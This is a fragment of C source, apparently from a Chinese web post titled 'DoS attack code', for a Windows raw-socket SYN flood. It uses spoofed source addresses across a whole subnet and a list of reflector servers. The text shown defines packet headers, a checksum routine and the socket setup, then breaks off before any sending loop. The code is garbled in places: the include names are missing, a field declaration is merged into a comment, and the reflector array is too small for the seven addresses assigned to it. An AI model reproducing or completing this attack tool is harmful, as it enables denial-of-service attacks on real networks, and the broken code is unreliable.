dos攻击代码

#include

#include

#include

#include

#define SEQ 0x28376839

#define NUM 7//反射服务器的个数

#define FAKE_IP "192.168.0.6" //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr //定义IP首部

{

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //8位服务类型TOS

unsigned short total_len; //16位总长度（字节）

unsigned short ident; //16位标识

unsigned short frag_and_flags; //3位标志位

unsigned char ttl; //8位生存时间 TTL

unsigned char proto; //8位协议 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校验和

unsigned int sourceIP; //32位源IP地址

unsigned int destIP; //32位目的IP地址

}IP_HEADER;

struct //定义TCP伪首部

{

unsigned long saddr; //源地址

unsigned long daddr; //目的地址

char mbz;

char ptcl; //协议类型

unsigned short tcpl; //TCP长度

}psd_header;

typedef struct _tcphdr //定义TCP首部

{

USHORT th_sport; //16位源端口

USHORT th_dport; //16位目的端口

unsigned int th_seq; //32位序列号

unsigned int th_ack; //32位确认号

unsigned char th_lenres; //4位首部长度/6位保留字 unsigned char th_flag; //6位标志位

USHORT th_win; //16位窗口大小

USHORT th_sum; //16位校验和

USHORT th_urp; //16位紧急数据偏移量

}TCP_HEADER;

//CheckSum:计算校验和的子函数

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}

// SynFlood主函数

int main()

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0,i=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

char * Syn_dest_ip[NUM-1];

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始反射IP列表

Syn_dest_ip[0]="192.168.0.99";

Syn_dest_ip[1]="192.168.0.1";

Syn_dest_ip[2]="192.168.0.2";

Syn_dest_ip[3]="192.168.0.4";

Syn_dest_ip[4]="192.168.0.5";

Syn_dest_ip[5]="192.168.0.3";

Syn_dest_ip[6]="192.168.0.7";

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OV ERLAPPED);

if (SockRaw==INVALID_SOCKET){

fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;